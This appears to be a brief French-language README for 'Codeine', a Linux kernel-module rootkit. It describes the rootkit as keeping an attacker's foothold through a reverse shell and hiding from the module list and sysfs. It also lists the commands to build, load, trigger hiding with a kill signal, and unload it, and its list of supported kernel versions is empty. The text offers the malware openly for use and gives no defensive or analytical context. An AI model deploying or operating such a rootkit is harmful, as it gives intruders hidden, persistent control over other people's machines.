
Rootkit LKM Linux
.o88b. .d88b. d8888b. d88888b d888888b d8b db d88888b d8P Y8 .8P Y8. 88 `8D 88' `88' 888o 88 88' 8P 88 88 88 88 88ooooo 88 88V8o 88 88ooooo 8b 88 88 88 88 88~~~~~ 88 88 V8o88 88~~~~~ Y8b d8 `8b d8' 88 .8D 88. .88. 88 V888 88. `Y88P' `Y88P' Y8888D' Y88888P Y888888P VP V8P Y88888P
Codeine est un rootkit LKM Linux visant à assurer la persistance de l'attaquant via un reverse shell et à rester complètement caché dans le système. Il se cache de la liste des modules et de sysfs.
Testé sur les versions de noyau :
make
insmod codeine.ko
kill -59 0 //if CANBEHIDE var is TRUE
rmmod codeine